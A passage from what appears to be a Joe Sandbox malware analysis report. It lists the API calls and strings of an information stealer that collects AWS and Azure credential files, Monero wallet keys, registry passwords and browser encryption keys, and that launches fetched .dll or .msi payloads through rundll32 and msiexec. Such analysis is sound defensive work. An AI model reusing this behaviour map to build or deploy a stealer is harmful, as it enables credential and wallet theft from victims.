lstrcat.KERNEL32(?,00000000), ref: 00504E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00504E59

Part of subcall function 00504910: StrCmpCA.SHLWAPI(?,00510FDC), ref: 00504971
Part of subcall function 00504910: StrCmpCA.SHLWAPI(?,00510FE0), ref: 00504987
Part of subcall function 00504910: FindNextFileA.KERNEL32(000000FF,?), ref: 00504B7D
Part of subcall function 00504910: FindClose.KERNEL32(000000FF), ref: 00504B92

lstrcat.KERNEL32(?,00000000), ref: 00504EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00504EE5

Part of subcall function 00504910: wsprintfA.USER32 ref: 005049B0
Part of subcall function 00504910: StrCmpCA.SHLWAPI(?,005108D2), ref: 005049C5
Part of subcall function 00504910: wsprintfA.USER32 ref: 005049E2
Part of subcall function 00504910: PathMatchSpecA.SHLWAPI(?,?), ref: 00504A1E
Part of subcall function 00504910: lstrcat.KERNEL32(?,012DE320), ref: 00504A4A
Part of subcall function 00504910: lstrcat.KERNEL32(?,00510FF8), ref: 00504A5C
Part of subcall function 00504910: lstrcat.KERNEL32(?,?), ref: 00504A70
Part of subcall function 00504910: lstrcat.KERNEL32(?,00510FFC), ref: 00504A82
Part of subcall function 00504910: lstrcat.KERNEL32(?,?), ref: 00504A96
Part of subcall function 00504910: CopyFileA.KERNEL32(?,?,00000001), ref: 00504AAC
Part of subcall function 00504910: DeleteFileA.KERNEL32(?), ref: 00504B31

Strings

*.*, xrefs: 00504DD8
\.azure\, xrefs: 00504DC1
*.*, xrefs: 00504E64
\.aws\, xrefs: 00504E4D
msal.cache, xrefs: 00504EF0
Azure\.azure, xrefs: 00504DD3
\.IdentityService\, xrefs: 00504ED9
Azure\.aws, xrefs: 00504E5F
Azure\.IdentityService, xrefs: 00504EEB

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: c779506257512f446941b37081ec9b9da8fb5a4cb85a8576ab472fe6423c0000
Instruction ID: 434308f163bf2f0e6a423b96f54acf682cbd78aa71ee0e240333853871026950
Opcode Fuzzy Hash: c779506257512f446941b37081ec9b9da8fb5a4cb85a8576ab472fe6423c0000
Instruction Fuzzy Hash: A04183BA94020867D750F770DC4BFED3A38BB64700F404594B289660C1EEB59BC98B96

Function 00509010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0050906C

Strings

image/jpeg, xrefs: 00509136

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 2e630800738818b7d46b311794bd0cadc9cc16f98219971f7c3d3bcae80a9d2f
Instruction ID: 7aecce4c32fcb039f0cd2656886e97be152f5581ff916b3323f370f424b40317
Opcode Fuzzy Hash: 2e630800738818b7d46b311794bd0cadc9cc16f98219971f7c3d3bcae80a9d2f
Instruction Fuzzy Hash: 2D71FB75A00209FBDB04DBE4DC89FEEBBB9BF48301F108508F655A7294DB39A905CB65

Function 00502E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

ShellExecuteEx.SHELL32(0000003C), ref: 005031C5
ShellExecuteEx.SHELL32(0000003C), ref: 0050335D
ShellExecuteEx.SHELL32(0000003C), ref: 005034EA

Strings

<, xrefs: 00503490
"" , xrefs: 0050309A
C:\Windows\system32\msiexec.exe, xrefs: 005034BF
/i ", xrefs: 005033E4
.msi, xrefs: 00503398
/passive, xrefs: 0050345B
.dll, xrefs: 005031E5
C:\Windows\system32\rundll32.exe, xrefs: 00503332

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: a71da134f1d0caf5d86bb97fc5dac8536a166b5eb56753d27061dd725e8715ba
Instruction ID: eea7926ac5af3cef016981c8b8399151a1da2ecbd371fd7ef55356b08ac8c7bc
Opcode Fuzzy Hash: a71da134f1d0caf5d86bb97fc5dac8536a166b5eb56753d27061dd725e8715ba
Instruction Fuzzy Hash: F51223719102099ADB05FBA0CD9AFEEBB38BFA4300F508559F506661D1EF742B4ACF52

Function 005052C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

Part of subcall function 004F6280: InternetOpenA.WININET(00510DFE,00000001,00000000,00000000,00000000), ref: 004F62E1
Part of subcall function 004F6280: StrCmpCA.SHLWAPI(?,012DE250), ref: 004F6303
Part of subcall function 004F6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004F6335
Part of subcall function 004F6280: HttpOpenRequestA.WININET(00000000,GET,?,012DDC38,00000000,00000000,00400100,00000000), ref: 004F6385
Part of subcall function 004F6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004F63BF
Part of subcall function 004F6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004F63D1

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00505318
lstrlen.KERNEL32(00000000), ref: 0050532F

Part of subcall function 00508E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00508E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00505364
lstrlen.KERNEL32(00000000), ref: 00505383
lstrlen.KERNEL32(00000000), ref: 005053AE

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Strings

ERROR, xrefs: 0050530A
ERROR, xrefs: 00505432
ERROR, xrefs: 0050546F
ERROR, xrefs: 005054A9
ERROR, xrefs: 005053B9

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 9add5a15db74e308ded79922162993754764daae67a9d06e21f80bc40ad540fc
Instruction ID: 06230bc272dbb5c99b6910a5628deb9728d5446d14aefd91a95765fd2feb8b46
Opcode Fuzzy Hash: 9add5a15db74e308ded79922162993754764daae67a9d06e21f80bc40ad540fc
Instruction Fuzzy Hash: 4351FB30910249ABDB14EF60CD9AEEE7B79FF94301F508018E9065A5D1EF346B46CB66

Function 005012D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: c0584190a0d747132cb9bb377432145726a8245bd8657e2fb0db9936c8686d2a
Instruction ID: b8df89b2506a9dacacc40917c4d94b9cd87291218b2bbb6be8fc670e1ddac8c0
Opcode Fuzzy Hash: c0584190a0d747132cb9bb377432145726a8245bd8657e2fb0db9936c8686d2a
Instruction Fuzzy Hash: A8C154B590021AABCB14EF60DC8EFEE7778BFA4304F104598F50A671C1DA74AA85CF95

Function 00504280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00508DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00508E0B

lstrcat.KERNEL32(?,00000000), ref: 005042EC
lstrcat.KERNEL32(?,012DDCE0), ref: 0050430B
lstrcat.KERNEL32(?,?), ref: 0050431F
lstrcat.KERNEL32(?,012DC988), ref: 00504333

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 00508D90: GetFileAttributesA.KERNEL32(00000000,?,004F1B54,?,?,0051564C,?,?,00510E1F), ref: 00508D9F

Part of subcall function 004F9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 004F9D39

Part of subcall function 004F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004F99EC
Part of subcall function 004F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004F9A11
Part of subcall function 004F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 004F9A31
Part of subcall function 004F99C0: ReadFile.KERNEL32(000000FF,?,00000000,004F148F,00000000), ref: 004F9A5A
Part of subcall function 004F99C0: LocalFree.KERNEL32(004F148F), ref: 004F9A90
Part of subcall function 004F99C0: CloseHandle.KERNEL32(000000FF), ref: 004F9A9A

Part of subcall function 005093C0: GlobalAlloc.KERNEL32(00000000,005043DD,005043DD), ref: 005093D3

StrStrA.SHLWAPI(?,012DDD28), ref: 005043F3
GlobalFree.KERNEL32(?), ref: 00504512

Part of subcall function 004F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NO,00000000,00000000), ref: 004F9AEF
Part of subcall function 004F9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,004F4EEE,00000000,?), ref: 004F9B01
Part of subcall function 004F9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NO,00000000,00000000), ref: 004F9B2A
Part of subcall function 004F9AC0: LocalFree.KERNEL32(?,?,?,?,004F4EEE,00000000,?), ref: 004F9B3F

lstrcat.KERNEL32(?,00000000), ref: 005044A3
StrCmpCA.SHLWAPI(?,005108D1), ref: 005044C0
lstrcat.KERNEL32(00000000,00000000), ref: 005044D2
lstrcat.KERNEL32(00000000,?), ref: 005044E5
lstrcat.KERNEL32(00000000,00510FB8), ref: 005044F4

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: d561a0bb1182e2b51f8b51bddee63d872686ae216211e55d81f6ba74546f4d71
Instruction ID: df3dc64ddae9c255f4252bb8bf6cc611fbd72a50fb87bd0e4b43c92f0007241b
Opcode Fuzzy Hash: d561a0bb1182e2b51f8b51bddee63d872686ae216211e55d81f6ba74546f4d71
Instruction Fuzzy Hash: B37133B6900208BBDB14FBA0DC8AFEE7779BB88300F048598F64597181EA75DB45CF95

Function 004F1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004F12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004F12B4
Part of subcall function 004F12A0: RtlAllocateHeap.NTDLL(00000000), ref: 004F12BB
Part of subcall function 004F12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004F12D7
Part of subcall function 004F12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004F12F5
Part of subcall function 004F12A0: RegCloseKey.ADVAPI32(?), ref: 004F12FF

lstrcat.KERNEL32(?,00000000), ref: 004F134F
lstrlen.KERNEL32(?), ref: 004F135C
lstrcat.KERNEL32(?,.keys), ref: 004F1377

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

Part of subcall function 00508B60: GetSystemTime.KERNEL32(00510E1A,012D9AC8,005105AE,?,?,004F13F9,?,0000001A,00510E1A,00000000,?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 00508B86

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 004F1465

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

Part of subcall function 004F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004F99EC
Part of subcall function 004F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004F9A11
Part of subcall function 004F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 004F9A31
Part of subcall function 004F99C0: ReadFile.KERNEL32(000000FF,?,00000000,004F148F,00000000), ref: 004F9A5A
Part of subcall function 004F99C0: LocalFree.KERNEL32(004F148F), ref: 004F9A90
Part of subcall function 004F99C0: CloseHandle.KERNEL32(000000FF), ref: 004F9A9A

DeleteFileA.KERNEL32(00000000), ref: 004F14EF

Strings

wallet_path, xrefs: 004F1330
.keys, xrefs: 004F136B
\Monero\wallet.keys, xrefs: 004F138D
SOFTWARE\monero-project\monero-core, xrefs: 004F1335

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: d42aefed3f8d5e45208df13ce418e1e1c7af112c2bfd493b9b3877ac09742873
Instruction ID: 91850d60e41d87c4f02ee8f01c75bdc4950204f0bea1d3be1c6c3ece842d95a9
Opcode Fuzzy Hash: d42aefed3f8d5e45208df13ce418e1e1c7af112c2bfd493b9b3877ac09742873
Instruction Fuzzy Hash: 0C5162B195021997DB15EB60DD96FED773CBF90300F408198B60A620D1EE345B89CFA6

Function 004F75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004F72D0: memset.MSVCRT ref: 004F7314
Part of subcall function 004F72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 004F733A
Part of subcall function 004F72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004F73B1
Part of subcall function 004F72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 004F740D
Part of subcall function 004F72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 004F7452
Part of subcall function 004F72D0: HeapFree.KERNEL32(00000000), ref: 004F7459

lstrcat.KERNEL32(00000000,005117FC), ref: 004F7606
lstrcat.KERNEL32(00000000,00000000), ref: 004F7648
lstrcat.KERNEL32(00000000, : ), ref: 004F765A
lstrcat.KERNEL32(00000000,00000000), ref: 004F768F
lstrcat.KERNEL32(00000000,00511804), ref: 004F76A0
lstrcat.KERNEL32(00000000,00000000), ref: 004F76D3
lstrcat.KERNEL32(00000000,00511808), ref: 004F76ED
task.LIBCPMTD ref: 004F76FB

Strings

: , xrefs: 004F764E

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 95d4d351cec6b1690290c82f160525363cda0715650a1da45e7bca62a8eaf457
Instruction ID: cbac654f36daeaae8f99e3961a3050225a31cfa3c22b761210d021ba1b526766
Opcode Fuzzy Hash: 95d4d351cec6b1690290c82f160525363cda0715650a1da45e7bca62a8eaf457
Instruction Fuzzy Hash: E4315E71900109EFEB05EBB4DC86DFF7778BB44306B14811DF202A72A0DA3CA946CB5A

Function 004F72D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004F7314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 004F733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004F73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 004F740D
GetProcessHeap.KERNEL32(00000000,?), ref: 004F7452
HeapFree.KERNEL32(00000000), ref: 004F7459
task.LIBCPMTD ref: 004F7555

Strings

Password, xrefs: 004F7401

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
